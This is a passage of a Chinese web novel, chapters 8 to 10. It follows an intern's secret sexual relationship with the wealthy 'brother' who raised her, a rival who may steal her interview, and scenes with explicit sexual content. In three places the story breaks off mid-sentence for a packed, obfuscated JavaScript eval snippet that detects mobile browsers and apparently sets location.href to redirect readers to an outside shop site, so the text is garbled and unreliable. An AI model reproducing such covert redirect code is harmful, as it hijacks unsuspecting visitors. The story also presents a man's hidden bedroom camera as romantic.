陈晋南揉了下额角,嘴角弯着弧度:“温柔,漂亮,最好年纪比我小,我可能会喜欢小女生性格的,不太喜欢女强人。” 说完,他遥遥看向薄津棠:“我这个回答,可以吗?” “还行。”薄津棠松散道。 “你呢?你除了漂亮,还有什么要求?” 钟漓下意识看向薄津棠。 猝不及防地。 视线堕入深邃的双眸里。 薄津棠也在看她。 傍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660741|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚时分,暖色调的光穿过落地窗,渗透进室内。 光影将他的五官切割的立体深邃,也染上几分柔和意味。 可他的神情是一如既往的傲慢与漠然,他眉骨轻抬,唇角扯了抹似笑非笑的弧度,“漂不漂亮并不重要,我只有一个要求。” 空气里,浮尘翻涌。 钟漓好像看到自己的呼吸杂糅成黏稠的液体,喉管处蔓延着胶着感。 薄津棠语气散漫得很,听上去很不走心,很随性,像是随口一说的,在哄人。 “得我妹妹喜欢。” 在哄的。 是他妹妹。 钟漓眼神轻晃。 陈晋南感慨:“你还真是名不虚传的宠妹妹,我只听说过要父母满意,你倒好,要妹妹喜欢。” 怕被陈晋南察觉到异样,更怕薄津棠管不住嘴,钟漓忙说:“我哥胡说的。” “但妹妹找男朋友,还是要过哥哥这关的。”陈晋南想了想,“姜绵以后要找男朋友,也得我们这些哥哥层层把关。薄津棠,以后妹妹找的男朋友,你要是不满意怎么办?拆散他俩吗?” “钟漓,”薄津棠不急不缓道,“你倒是说说,你喜欢什么类型的男生。” 这个问题,就这样无差别地问到会议室里所有人身上。 钟漓不敢接这烫手山芋,想尽快扯回话题:“今天主要是采访陈三哥的。” 陈晋南像是毫无眼力见,又像是随和的知心大哥哥,关心道:“我看你采访稿上的问题也都问完了,趁我还有点儿时间,大家聊聊天,增进增进感情,这儿又没外人,对吧。” 钟漓把录音的录音笔关了,她说:“我没谈过恋爱,所以也不太清楚自己喜欢什么类型的男生。” “怎么还抄袭我的答案?” “……” “我怎么记着,你以前和我说过,你喜欢的男生类型?”薄津棠眼梢轻佻,慢条斯理地问她。 “有吗?” “有。” “我忘了。”钟漓耍无赖。 薄津棠嚇笑了声。 与此同时,办公室门被人敲响,敲了三声,有人推门而入。 是陈晋南的助理,对方对于打扰到三人说事露出一脸歉意,他走到陈晋南身边,弯腰低语了几句,而后,陈晋南站起身来,“抱歉,我临时有事,得提早离开。” 薄津棠没有送客的礼节,清瘦有力的腕骨朝陈晋南挥了挥,“慢走,不送。” 相识多年,陈晋南也不甚在意,离开前,他和钟漓说了声:“妹妹,再见。对了,采访稿要是还有什么需要补充的,你可以随时联系我,我保证会积极配合你的工作。” 面面俱到的温柔与体贴。 钟漓点头:“谢谢三哥。” 陈晋南离开后,钟漓低头收拾着东西,也打算离开。 “咚咚咚——” 耳畔响起三声。 冰冷的会议桌桌面被人敲了敲。 随后,脚步声由远及近,规律,沉稳,路过她时,没有任何逗留。 薄津棠冷冷地甩下一句话:“我送你回家。” 钟漓放录音笔的动作一顿,张了张嘴,拒绝的话还是咽回喉咙里。 / 下午五点十分,下班高峰期。 黑色的迈巴赫缓缓驶出地下车库,顺着车流驶入道路。 夕阳西沉,路灯接连亮起,令北城永无眠夜。 车内挡板升起,将前后座椅隔绝。 后排。 钟漓上车后,便被薄津棠伸手抱起,她双腿盘在他身侧,两只手被他单手禁锢于后腰。 薄津棠的气息落于她颈间,要吻不吻的动作,暧昧缱绻。 钟漓被他撩的呼吸不稳,“生气了?” 仔细听,能听到她语气里的开心与嘚瑟。 薄津棠上半身往后靠,和她拉出距离,“真忘了?” “没忘。”钟漓弯唇。 她从来都很乖,可是哪有乖乖女,会主动爬上薄津棠的床。 眉目流转出风情万种,像是会勾魂摄魄的狐狸精,一眨不眨地盯着他,说。 “不能和他们谈恋爱,不能和他们接吻,不能夜不归宿。你要求的我都做到了,哥哥,现在到我和你提要求的时候了。” “我要你,吻我。” 8. 08 08 寄人篱下的人,是最具有天赋的演员。 钟漓驾轻就熟地扮演着乖乖女的角色。 真正撕开那张伪善的脸庞,是在大一那年。 逃离了高中校园密密麻麻的校规校训,大学生活意味着自由,无拘无束,自由自在。钟漓和姜绵不仅是大学同学,还是室友。 姜绵彻底地放飞自我,她几乎每天都在酒吧、夜店等玩乐场所。 有次,钟漓刚出图书馆,接到姜绵的电话。 电话那头,是姜绵醉醺醺的声音:“漓漓,你能来接我吗?” 问清地址后,钟漓赶忙打车过去。 酒吧街里鱼龙混杂,空气仿佛被酒精浸渍,夜风阵阵,迎面吹来形形色色的食色男女。 姜绵所在的酒吧是会员制,钟漓进不去,被拦在门外。 她掏出手机,给姜绵打电话,打了两通,都没接。 “你找人是吗?”有个男人走到她面前,男人看着很年轻,一身低调的运动休闲装,和酒吧的氛围格格不入,“要不你跟我进去?” 钟漓想了想,“麻烦你了。” “举手之劳。”男人和酒吧外的安保说了声,安保便将钟漓放行。 进去后,钟漓左右张望,最终在吧台处找到了姜绵的身影。 钟漓:“我找到我朋友了。” 音浪声强而有力,敲击着人的耳蜗,振聋发聩的音乐声很快将她的声音湮没。 男人没听到她的话,直直地跟着她走向吧台。 姜绵喝得五迷三道,对着钟漓傻笑,她从高脚椅上跳下来,钟漓眼疾手快地上前,想要扶住她。姜绵失去重心,整个人晃晃悠悠地倒向钟漓,突如其来的重力,钟漓有些站不稳,踉跄了几步,肩骨处猛地覆上一层宽厚的力量。 她回头。 男人扶住了她。 钟漓张了张口,刚想道谢,怀里的姜绵不安分地动着。 男人好人做到底:“还是我来扶吧。” 男人从她手里接过姜绵。 钟漓打算再度道谢的时候,眼前出现了三个人。 姜绍白走到男人身边,拍拍男人的肩,“哥们,这我亲妹,就不麻烦你了。” 男人怔了怔,空气里似乎有条泾渭分明的界线,舞池那边热闹喧嚣,这边冷凝严肃,男人很有眼力见地离开了。 作为这里唯一没有妹妹的,岑策很没眼力见地问钟漓:“妹妹,刚刚那位是你男朋友吗?” 钟漓:“不是,我不认识他。” 岑策:“哇哦,不认识他,他一直跟着你。” 钟漓:“……” 岑策把他看到的都说了出来,绘声绘色道:“你进酒吧的时候我们就看到了,那个男的带你进来的,他还一直跟在你身后,刚刚还抱着你,低头亲了你一下。” “什么亲?我不知道。”钟漓说,“我进不来,他好心带我进来,仅此而已。” “回家了,钟漓。”薄津棠开口,疏松平常的语调,听起来别无二致,可是他最后喊她,是连名带姓的。 周围的人都意识到了不对。 岑策和姜绍白对视了眼,继而目光颇为同情地看向钟漓。 薄津棠今天是自己开车过来的,钟漓坐上副驾,和他解释着事情的来龙去脉。 薄津棠淡睨了她一眼:“想谈恋爱了?” 钟漓不知道怎么话题就转移到这件事上来了,“没。” 薄津棠:“你也到谈恋爱的年纪了。” 钟漓直接道:“你比我大四岁,要谈也是你先谈。” 薄津棠低头笑了下,光影交错,脸上的笑意晦涩,看不真切。 之后再没说话。 车子驶入薄家。 熄火后,谁都没下车。 薄津棠食指规律地敲着方向盘,“想谈恋爱就说,我不会拦着你。” 他是真的扮演着好哥哥的形象。 钟漓的心脏有着细微的酸涩。 她抠着手指,沉默片刻,若无其事地说:“我是想谈恋爱,但是我的要求很高。” “哪些要求?说来听听。” “要长得比你高,比你帅,比你温柔,比你体贴,比你会疼人。” “我成参照物了。”薄津棠深深看了她一眼,夜幕四合,漆黑的眼里映着笑,笑意是闲适放松的。 气氛也随之变得轻快。 钟漓弯了弯唇,“你应该感到荣幸,妹妹事事记挂着你,就连找男朋友也想着你。” 薄津棠薄唇轻扯,半真半假的口吻,说:“如果我不让你谈恋爱呢?” 钟漓一愣。 视线相碰,又电光火石地移开。 薄津棠推开车门,风往里吹,她鼻尖有冷冽的薄荷香,她的声音闷闷的,憋在车厢里,但声线果断干脆,“我要是做到不谈恋爱,薄津棠,你会给我什么好处?” “什么时候学会的做交易、谈条件?”薄津棠半撑着车门,俯身看车里的她。 “就,”钟漓神情狡黠,“跟你学的。” 薄津棠挑眉,“想要什么好处?” 钟漓说:“我现在还没想好,等想好了,我会问你要的,你别反悔就行。” 薄津棠:“放心,我不会反悔。” 所以后来钟漓要吻他,他毫不犹豫地掐着她的脖子,吻住她的唇。 她要接吻,他就亲她,亲的她喘不过气,亲的她满脸通红,亲的她浑身湿漉漉。 她要上床,他迟疑了半分钟,因为没套。 她不开心了。 他哄她,让她坐在书桌上。 那张他伏案工作的书桌,堆着公司机密的文件,被他如草芥般轻视。 他跪在她身前,哄人的方式有很多种,他选择用舌头哄她。 此刻,身份互换。 钟漓趴在薄津棠的双膝处,她复刻他刚才将落未落的动作,唇要贴不贴的。她眼尾挑起妩媚的弧度,媚眼如丝,挑衅着他:“哥哥,你最近生气频率很高。” 她并非很多年没叫他“哥哥”,只是这个称谓成为了场景限定。 也成为她哄他的利器之一。 她发丝浓密,如绸缎般铺陈开。 薄津棠拨开乌发,微凉的指腹搭在她裸露着的细白脖颈上,只是轻轻的触碰着。 “漓漓,你最近真得很不乖。” “有吗?”钟漓低头,嘴里呜咽着,双颊饱满,随着她的呼吸,一下又一下地滚出迤逦的弧线。 他自控力远超于常人。 车子驶入朗庭君华的地下车库,前面的司机很识相地、一声不吭地下了车。 钟漓累得不行,他还没结束。 钟漓娇气地直起身,不哄了,“回家。” 薄津棠挑着眉,拉住她的手,“漓漓乖,五分钟,再花五分钟就好了。” 司机下车时没把车熄火,冷气肆虐,他浑身却是烫的,抓着她的手,温度高的像是要把她熔化。 钟漓警惕极了:“五分钟要是还没好怎么办?” 薄津棠:“你是在威胁我吗?” 钟漓摇头:“是你在折磨我。” 薄津棠气息细碎地笑了起来,低沉的嗓,颇有磁性,“这怎么是折磨,这难道不是享受吗?” “只有你在享受。”钟漓抱怨。 抱怨归抱怨,钟漓还是俯身下去。 用不了五分钟,她“呸呸呸”地吐嘴里的东西。 / 朗庭君华位于市中心,整个小区仅一栋住宅,被称为市中心最孤独的豪宅。 薄津棠接手薄氏的这几年,将薄氏集团的商业版图不断扩张,薄氏在各项领域处于领袖地位,渐渐地,大家都忘了一点,薄氏集团最早是做房产起步的。 朗庭君华是薄氏集团旗下的,微不足道的小项目。 薄津棠所住的楼层自然是最好的楼层。 房子的装修色调以黑白灰三色为主,一尘不染。房间到处都渗透着主人的品味,奢华,贵气。 进屋后,钟漓没搭理薄津棠,碎碎念着:“嘴巴里全是脏东西,我要刷十分钟的牙。” 薄津棠慢悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660742|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠道:“这会儿倒是嫌弃我上了,我什么时候嫌弃过你?” 钟漓身影一僵。 薄津棠声音懒懒淡淡,“我恨不得不刷牙。” 空气一瞬静默。 钟漓回头,骂道:“不可回收垃圾没有嫌弃的资格。” 骂得很干脆,利落,一点儿都不拖泥带水。 薄津棠伸手摸了摸鼻梁。 这是他开心时会做出的动作。 被骂了还挺开心。 “……” 真是有病。 钟漓转身,加快脚步,朝浴室走去。 洗完澡出来,钟漓发现家里只剩她一人,薄津棠不见了。拿起手机,看到薄津棠在半小时前给她发了条消息:【我有事出去一趟,会很晚回来,你别把房门反锁了。】 钟漓打字:【好的,我一定会把房门锁的牢牢的。】 回完消息,钟漓坐在电脑前,整理陈晋南的采访稿。 整理到一半,她接到凌雀的电话,她开了免提,听凌雀在那边说:“我明天要去趟影视基地,你明天没安排的话,跟我去呗?” “行。”钟漓应了。 “我正好在填外出申请,把你名字写上了。” “好,谢谢你了,凌雀姐。” “我才应该感谢你,影视基地在郊区,大老远的,他们都不愿意和我过去,只有你愿意陪我。”凌雀问她,“你家地址在哪儿?我明天开车过去,顺便来接你。” 钟漓敲打键盘的动作停了下来,声音听不出异样,“我家和影视基地是两个方向,您来接我得绕特别远的路,太麻烦了,我们到时候在影视基地会合就好。” “那你怎么过去?” “地铁能直达。” “也行。明天十点半,影视基地门口见。” “好。” 挂了电话,钟漓接着写采访稿,稿子写完,薄津棠还没回家。 她言出必行,把房门给反锁了。 隔天醒来,腰间有只手沉沉地禁锢着她,将她整个人圈在温热宽厚的怀里。 她和薄津棠经常如此,她锁门,把钥匙藏到隐蔽的地方,自以为能防住他。结果薄津棠背地里不知配了多少把钥匙,也不知道把配的钥匙藏在哪儿了,总之,钟漓找不到。 因十点半才到影视基地,钟漓不急着起床,她闭上眼,再度睡了过去。 等她再次醒来的时候,床的另一侧已经空了,被窝里还有余温。 浴室里响起淅淅沥沥的水声,没一会儿,水声停了,薄津棠换了身西装,他回到卧室,拿放在床头柜的手机。 他今天穿的西装是灰色的,沾着湿水的脸,给凌厉眉骨平添几分清隽感,颇有压抑到深处的风流韵味。 “你的袖扣……”钟漓的注意力落在他袖扣上,“我好像在哪儿见过。” “哪儿?”他说,“我随手拿的。” 思索了会儿,钟漓说:“可能在柜台里吧,记不清了。” 见她还坐在床头,薄津棠问:“今天不上班?” 钟漓:“今天出外勤,可以晚点。” 薄津棠:“我给你派个司机。” 钟漓还是拒绝了:“我和同事一起,被她看到,我不好解释。” 她实习约莫三个月,这三个月里,拒绝他的次数比过去九年加起来还要多。 薄津棠的眼神冷了下来,钟漓以为冷淡之后是冷峭,然而薄津棠嘴角弯起温柔的笑,钟漓心里隐有不好的预感。 下一秒。 薄津棠掏出手机,拨了通电话出去,“徐特助,今天上午的工作都推了。” 不容置喙的命令口吻,说完,他掐断电话。 “漓漓,你知道吗,你很喜欢和我说’不要’。”他的语气很平静,平静里透着点儿无底线的纵容,仿若她说不要,他就会尊重她。 然而事实上。 薄津棠居高临下的目光,睥睨着她,声线松软下来,话里的内容却是强硬的。 “而我最喜欢的就是把你嘴里的’不要’,改成’要’。” 9. 09 09 黑色的宾利驶出朗庭君华,司机依据指令,在导航里输入目的地。 市郊影视基地。 钟漓双手放在膝头,十分端正的坐姿。 她刚到薄家的时候,薄津棠的母亲郭曼琳给她请了圈内有名的礼仪老师。钟漓学习能力强,吸收能力快,不管什么都手到擒来。教养礼仪早已渗透进她的骨子里,随便一个坐姿都透着优雅风韵。 但她偏着头。 看着窗外。 显然在与薄津棠闹情绪。 过了会儿,钟漓出声,“你就不能只让司机送我过来?非得自己过来干什么?” 薄津棠游刃有余地说:“妹妹到这么远的地方出外勤,我这个当哥哥的不放心,怕出什么问题。” 钟漓无语:“能出什么问题?” 薄津棠:“我要真只让司机送你,你大概会出了小区,就下车,自己打车过去。” 被猜中了,钟漓哑口无言。 “为什么呢?” “……什么为什么?”钟漓眨了下眼,“我只是不想让别人知道,我和你的关系。杂志社人多口杂的,要是社里的人知道我是你妹妹,肯定会带有色眼镜看我。” “觉得他们会因此排挤你?” “不是。” “如果他们知道你是我妹妹,你的工作会变得轻松许多。” “我不要这样。” 钟漓怕的就是这个。 薄津棠这个名字很好用,哪怕他不出现,只要他的名字出现,都会引起轰动。 圈外人都知晓薄太子爷有位疼惜至极的妹妹,有许多不怕死的狗仔都试图挖过这位妹妹的来历、姓名,却没一位成功过。 如同金屋藏娇。 藏得极深,保护得极好。 薄津棠其人,既矛盾,又双标。 不允许别人挖自己妹妹的个人信息。 却又恨不得钟漓到处宣扬自己是他妹妹一事。 钟漓无奈,转回头,迎着他漫不经心的黑眸,认真地说:“如果我想工作轻松,我就去薄氏上班了,所有人都会捧着我照顾我,可是那样有什么意义呢?哥,我可以生活在你的羽翼下被你保护着,但是我也想去外面感受一下风风雨雨。” 她顿了下,接着说了句薄津棠爱听的话:“我不是忍气吞声的人,被欺负了,我会和你告状的。” 果不其然,话音落下。 薄津棠笑了起来,用惯常的懒散声线,说:“我还挺期待你和我告状的那一天。” “……” 有病。 钟漓头扭开,看向窗外万里无云的天。 九月底,秋老虎正盛。 空气里隐有夏日热浪,繁茂的枝头挂着蝉鸣,越靠近影视城,路边的车越多。似乎有什么大明星在里面拍戏,外面站了不少人,手里拿着些大大小小的应援物。离得有些距离,应援物上的人物显得模糊,看不清是谁。 “就在这儿停吧。”钟漓拿起包,左右张望,附近没什么人。 后视镜里,司机用眼神询问薄津棠,得到他的示意后,将车缓缓靠边停下。 “我先走了。”钟漓迟疑了下,“待会结束我坐我同事的车回去,你不用派司机过来。” “知道。” 钟漓松了口气,她下车,关上车门。 离约定好的时间还有十几分钟。 非影视城的工作人员不让进入,钟漓被拦在外面,她找了个阴凉地站着,等凌雀过来。 不远处的人群发出窸窣声响,她们像是感受不到高温,脸上挂着激动亢奋的笑。 有辆黑色的商务车出现在视野里,很快,在影视城门外停下,前面的那堆人都围了上去。 商务车车门敞开,有人下来,和这群粉丝们互动。 隔着遥远的距离,攒动的人群,依稀能看见女人一闪而过的红唇,妖艳娇贵,如火般耀眼。 人声鼎沸间,凌雀的红色小车停在钟漓面前,车窗降下来,凌雀朝她招呼:“上车。” 钟漓绕过车头,坐进副驾驶。 凌雀车速很慢,边开车边欣赏着车窗外的热闹,“这么巧,谭笳月也在这儿拍摄。” 钟漓啊了声,提醒她:“你好好开车。” 凌雀收回视线,她的车牌有做过登记,闸机识别通过,放行车辆。 车子停好,凌雀和钟漓纷纷下车。那辆黑色的商务车在二人眼前一闪而过,紧接着,停在了她们要去的一号摄影棚大门外。 谭笳月从车里下来,这会儿看得更清晰,黑长直,冷白皮,烈焰红唇,五官精致,像是造物主精雕细琢下的艺术品。 她漫不经心地往外扫了眼,视线顿住,定格在钟漓身上。 身边的助理和她说了几句话,她置若罔闻地朝钟漓走来,“好巧。” 钟漓微微一笑:“是挺巧的。” 谭笳月问:“你来拍戏?” 钟漓:“不是,我又不是明星。” “以你的条件,进娱乐圈不是轻轻松松?”她语调轻松,调侃道,“我都怕你说你是来拍戏、来抢我饭碗的。” “我来工作的。”钟漓拿出杂志社的工牌。 谭笳月还想说些什么,她身边的助理满脸焦急:“笳月姐,再不过去就要迟到了,陈导最讨厌人迟到。” “知道了。”谭笳月眉头蹙起一瞬,旋即松开,露出个无懈可击的笑,“有时间再聚。” 等她背影消失后,凌雀按捺不住八卦心情,诧异道:“你和谭笳月认识?” 谭笳月大学时期凭借一组照片意外走红网络,没过多久,便签约国内知名的演艺公司成为演员。拍摄的处女作好评如潮,凭借此片获得电影华表奖优秀新人女演员、亚洲电影新人奖等多个奖项。 演艺道路顺风顺水,惹人艳羡。 在外人眼里,这就是单纯的运气好,也有阴谋论者,说对方背后有位大佬。 没多久,谭笳月的家境身世便被网友们挖了出来。 祖上三代从商,父亲谭善林系天誉集团总裁。天誉集团最为出名的是旗下遍布全国的大型购物中心,然而它主营业务为港口物流、国际贸易、房地产等。 而所谓的运气好,所谓的大佬,不过是谭笳月的父亲谭善林动用手头的资源,为女儿铺路。 北城不缺豪门,但谭家的谭笳月和谭少渠,一个温柔优雅,一个劣迹斑斑,尤为出名。 “我俩一个高中的。”钟漓避重就轻,含糊地搪塞道,“以前都是广播站的,她比我高两届,没太多交集。” 凌雀没糊弄过去,“我听说她未婚夫是薄津棠,真的假的?” 与谭笳月的身世一同被扒出来的,还有她的未婚夫,有次采访时,她也直言不讳地回答这个问题,“小时候长辈们口头约定的婚约,不作数的。” 否定完,话锋一转,又说:“他是我遇见的,最优秀的男生,没有之一。” 这像是在变相暗示自己喜欢对方。 一石激起千层浪。 网友们的八卦心理燃至顶峰,讨论起她口中的这位娃娃亲对象。 按照年龄,家境,学历层层推算。 最后网友们一致认为,谭笳月爱而不得、曾有过婚约的娃娃亲对象。 是薄津棠。 “高中的时候只听说过她在追薄津棠。”钟漓不紧不慢地说。 “我靠。”凌雀一脸吃到瓜的表情,“所以她未婚夫真是薄津棠啊?” “谁会追自己的未婚夫?而且只是追而已,追薄津棠的女生挺多的,难道每个都和他有婚约?” “咦?你和薄津棠认识吗?” 钟漓眼也不眨地说瞎话:“也是一个高中的,不过我上高中的时候,他已经毕业了。但他是风云人物嘛,毕业了话题还在。” 就像他并未进入娱乐圈,娱乐圈却有他的话题。 网上也能找到薄津棠的照片,网友们顺藤摸瓜,找到了薄津棠高中就读的学校。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660743|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >学校每次考试会公布百名榜,前十名的学生除了名字,还会贴上证件照。 对从母校流传出来的照片,薄津棠并未插手干涉。 证件照上的薄津棠。 稍显青涩的五官立体分明,骨感强烈,额发短削,浅薄的眼皮拉扯出疏冷的气韵。有着少年意气风发的蓬勃,更多的还是那股睥睨众生的傲慢感。 尤其是拍摄的照片下方,还有一句他的座右铭。 拽得要死。 ——【眼睛一睁一闭,又是第一。】 / 一号摄影棚以拍摄照片为主,棚里搭了几十个景。 凌雀负责下期的杂志封面,她今天过来监工。钟漓跟在她身边学习。 虽说是学习,钟漓忙的脚不点地。期间,令人惊讶的是,谭笳月过来转了一圈,她和杂志封面的男艺人似乎很熟,二人聊了会儿,甚至她还给他们这里的工作人员每人点了份下午茶。 钟漓从谭笳月的助理手里接过下午茶,“谢谢。” “不客气。” 等到人走了,凌雀觉得古怪,她和钟漓低语道:“他俩关系很好吗?怎么没听说过?” 钟漓几乎一眼看穿凌雀心里的小九九:“这么光明正大,应该不是情侣。” “好吧。”想来也是,过了会儿,凌雀皱眉,“难不成她也想拍咱们杂志封面?话说回来,拍个荧屏cp的双人封面也不是不行。” 钟漓低头喝了口奶茶,神色平静,不置一词。 收工已经是天黑,钟漓有气无力地坐上凌雀的车,跟她一起回杂志社挑选合适的封面照片。 离开的时候,钟漓收拾东西,她发现录音笔找不到了。 凌雀:“你带来了吗?会不会是落在家里了?” 钟漓拧眉想了想,“我回家再找找。” 接下来的几天,钟漓格外忙碌。 离国庆放假还有两天,钟漓整理好陈晋南的采访稿。稿子需要层层筛选审核,她得先发给凌雀,凌雀审核通过后,再发给主编。 收到她的采访稿,凌雀表示震惊,她从电脑屏幕前探过头,“你居然真能采访到陈晋南?” “我闺蜜是陈晋南的表妹。”得益于她那张乖巧清丽的脸,有种不显山不露水的美,钟漓说话的语速不紧不慢地,有种午夜电台女主播抚慰人心的温柔感,极易令人信服,“这才采访到的。” “还有这么层关系,”凌雀挑眉,开玩笑道,“是时候让我的闺蜜拥有一个高富帅表哥了!” “……” 过了会儿,凌雀说:“稿子没问题,我发给主编了。” “好,谢谢了,凌雀姐。” “小事儿。” 主编手头工作多,一般两天内给采访稿意见,钟漓并未着急。 很快到下班时间,但她今天还有工作,拖到晚上十点才下班。电梯间静悄悄的,钟漓按下下行按钮,耐心等电梯下来。 金属质地的电梯门缓缓打开,看清里面的人后,钟漓眼里闪过一抹不自然的异色,转瞬即逝。 电梯轿厢里站着的人正在打电话,轻轻地扫了她一眼,接着和电话那头的人说话。 钟漓进了电梯,想按“1”,却发现数字“1”亮着。 电梯缓缓下行,女声冷不丁地响起,声音柔柔的,抬高的声调很尖,“谁知道薄津棠那么难约,我到现在连他助理的联系方式都没要到。” 在她看不到的地方,钟漓嘴角弯了弯。 程千窈又说,话里有着退而求其次的勉强,娇娇柔柔的撒娇口吻,说:“不过没关系,我约了陈晋南采访。” 钟漓嘴角弧度僵住。 与此同时,电梯门叮的一响。 程千窈袅袅婷婷地走出电梯,她的声音渐行渐远,却拉扯着钟漓的神经。 钟漓连忙掏出手机。 发现一分钟前,主编给她发了消息。 【程千窈也要采访陈晋南,小钟啊,你看你能不能换个主题?】 10. 10 10 无人经过的电梯,金属质地门缓缓合上。 深夜的写字楼阒寂,再无人按动电梯上行或是下行按钮,电梯始终停留在一楼。 四周冷气氤氲,钟漓眼底的情绪一寸一寸冷了下来。 在主编给她发消息之前,钟漓尚能怀疑程千窈话里的可信度。 然而主编的一句话,彻底击碎了钟漓的幻想。 钟漓不能反问主编,为什么同样是采访陈晋南,他们要采用程千窈的稿子而不是她的。 答案显而易见。 程千窈是总裁的女儿,千金大小姐,未来的集团接班人。 反观她呢? 名不见经传的实习生。 但钟漓觉得事有蹊跷。 陈晋南此刻在澳洲出差,根本没时间接受采访。 难道程千窈追去澳洲? 还是说,电话采访? 钟漓也不可能质问陈晋南,你为什么接受了我的采访之后又接受程千窈的采访。 陈晋南的身份摆在那儿。 太阳穴鼓鼓跳动,蓦地,钟漓脑海里冒出个熟悉身影来。 她不能问。 但他可以。 想到这里,钟漓按下开门按钮,急匆匆地离开写字楼。 夜深风轻,路上依旧车水马龙,深深浅浅的霓虹灯拉扯出绚烂的夜。 朗庭君华离她所在的写字楼很近,打车只需十五分钟。 过去的路上,钟漓给薄津棠发了消息,问他在干嘛。 薄津棠没回。 大概在忙。 朗庭君华是一梯一户,面容识别认证才能上楼。 钟漓凑近识别机器上刷了下人脸,一秒后,机器旁的电梯门在她面前打开,她走了进去。 她在入户玄关处换了鞋,走进家里。到处静悄悄的,毫无人气。 钟漓径直走进卧室,把自己扔在床上,盯着天花板发了会儿呆后,还是等不住,拿过手机想给薄津棠拨通电话过去。 刚碰到手机,周围突然响起薄津棠的声音。 “怎么在我床上,还不脱衣服?” 清冷的声线,慵懒的腔调,夹带几分调情的暧昧口吻。 “……” 钟漓慢慢悠悠地逡巡四周。 “别找了。”他说,“我在澳洲。” 钟漓的视线找不到定所,“你在家里装了监控?” 薄津棠懒懒地嗯了声,尾音拖着不正经,“要不然怎么会知道,有人趁我不在家,偷偷摸摸地爬到我床上。说吧,是不是打算趁我睡着的时候,占我便宜?” “谁占谁便宜?”钟漓左右张望,“你的监控装在哪个位置?” “三点钟方向。” 三点钟方向? 钟漓顺势望去,是床尾的墙壁,红点一闪一闪。 钟漓盯着床尾,仿若盯着薄津棠,她与他对话:“你什么时候去的澳洲?” “昨晚。”说不了几句,他就没个正行,“查岗来了?” “对呀,哥哥,你床上总不会有女人吧?”想到有事求他,钟漓态度很好,顺着他的话说。 “说吧,有什么事要求我。”疑问句,陈述语气。 自己养大的人,什么德性他清楚。 平日里喜欢和他对着干的人,忽地顺从至极地和他调情,玩恩爱情侣的戏码,不用猜就知道,肯定是有求于他。 钟漓没想到他这么直接。 默了几秒。 她说:“你能帮我问问陈晋南吗?” 话音落下,宽敞的空间里响起一声“啧”声,空气里的噪点仿佛都浸满这声不耐烦的气音。 薄津棠:“你因为别的男的来找我?” “不是……”钟漓顿了顿,“好吧,是的。” “哦,不能。”薄津棠言简意赅。 知道他没那么好说话,钟漓好声好气道:“哥哥,你帮我问一下他是不是接受了别人采访,就这么一个问题,帮帮我好吗?” 说完,房间陷入长久的沉默里。 好半晌,钟漓注意到,监控的红点暗了。 他那边直接掐了监控。 钟漓眼前发黑,“小气!自私!什么哥哥!什么疼妹妹!都是假的!薄津棠我讨厌你!” 发泄完,她无力地躺回床上。 “没别的词儿了?”薄津棠的声音又响了起来,轻哂着,“我还以为能听到些新鲜词儿。” ……怎么神出鬼没的? 钟漓懒得去看监控了,她没心思和一个见死不救的人说话。 见她一副不愿意搭理他的样子,薄津棠笑了起来:“不是让我帮你去问?” “你不是不愿意?” “他说他没时间接受别人的采访。” 钟漓腾地一下坐了起来,“真的?” 薄津棠:“我俩有必要为这点儿小事骗你?” 监控里显示着卧室的画面。 蓝光画质,能够清晰地显示出钟漓巴掌大的脸,五官精致漂亮,紧抿的唇泛着天然的胭脂色,如绸缎般顺滑浓密的长发懒懒散在肩头,整个人显出种凌乱美。 像是事后。 像是被他弄过的画面。 想到自己装监控的目的。 就是为了事后回味。 思及此,薄津棠喉结不可遏制的上下滚动,压住小腹下方的悸动,沉声询问:“到底发生什么事了?” 她不会平白无故问这个问题。 钟漓把事情的来龙去脉简单地和薄津棠说了,只是她把程千窈的名字给省略,用“实习生”代替。 然而即便她用“实习生”称呼程千窈,薄津棠还是敏锐地察觉到了异样:“那位实习生后台挺硬的。” 不愧是薄氏集团的总裁,钟漓知道逃不过他的火眼金睛,她叹了口气:“哥哥,我要怎么办?” 她的嘴一向很硬,只有到床上才会软。 薄津棠被她的“哥哥”喊得身心愉悦,他说:“不应该啊漓漓,这么简单的事儿,需要我出手?按理说,你心里应该有答案才对。” “我就是觉得,哪里怪怪的。” “比如?” “比如陈三哥根本不会接受她的采访,难不成她凭空编造出一个采访来?” “陈晋南知道,应该会饶不了她。” “所以……” “所以她要是把你的采访稿拿去用呢?” “这不可能。” “关系户面前,有什么不可能的。” “可是——”电光火石间,钟漓脑海里闪过一样东西,“对了,我的录音笔不见了。” / 